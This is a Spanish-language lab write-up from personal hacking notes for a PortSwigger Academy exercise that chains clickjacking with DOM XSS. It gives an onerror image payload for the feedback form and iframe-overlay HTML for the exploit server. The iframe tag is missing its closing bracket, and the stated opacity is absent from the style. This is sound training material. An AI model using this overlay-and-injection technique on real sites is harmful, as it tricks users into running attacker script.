> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Clickjacking para desencadenar XSS DOM

Notas de Clickjacking para desencadenar XSS DOM para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotar la vulnerabilidad de clickjacking para desencadenar XSS basada en DOM

#### Objetivo

Engaña a un usuario para que haga clic en un botón ("Click Me") incrustado en un iframe para ejecutar la `print()` función a través de una vulnerabilidad XSS activada por un clic.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-135e840a3483f88961ce24c6dcaf0e0e665e5fb8%2Fimage%20(346).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contexto / Observaciones

* El **formulario de comentarios** tiene un `nombre` parámetro vulnerable a un XSS DOM (la carga útil de JavaScript se ejecuta cuando falla la imagen e invoca la función deseada).
* Ejemplo de carga útil detectada: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a89ed1469c96f1daf327a8fba87802a078bdd71f%2Fimage%20(347).png?alt=media" alt=""><figcaption></figcaption></figure>

* Otros parámetros útiles para prellenar el formulario en el marco: `correo electrónico`, `asunto`, `mensaje`.

#### Carga útil utilizada

Para activar `print()` a través de una vulnerabilidad en `nombre`:

```html
<img src=0 onerror=print()>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3cf337a5ebc19e889b954f09f33d01509156e030%2Fimage%20(348).png?alt=media" alt=""><figcaption></figcaption></figure>

* Incluye un `<iframe>` que apunte a la `/feedback` página vulnerable con parámetros prellenados (`nombre`, `correo electrónico`, `asunto`, `mensaje`) que contiene la carga útil XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9df9caa349040520c320a642f392b71d98f1c20c%2Fimage%20(350).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Haz que el marco sea casi invisible (opacidad muy baja) y superpone un señuelo sobre él, colocado de modo que el clic de la víctima llegue al botón "Click Me" dentro del marco.
2. Cuando la víctima hace clic en el señuelo, el clic se transmite al marco y se desencadena el XSS DOM — aquí `print()` se llama.

#### Código de ejemplo para alojar en el servidor de explotación

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Haz clic</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba8cbe6c1cd798b3a82e42a844b74f337e45b87%2Fimage%20(351).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-740eaf6309dc4fbc1503387e721a3bf209a9b34d%2Fimage%20(353).png?alt=media" alt=""><figcaption></figcaption></figure>


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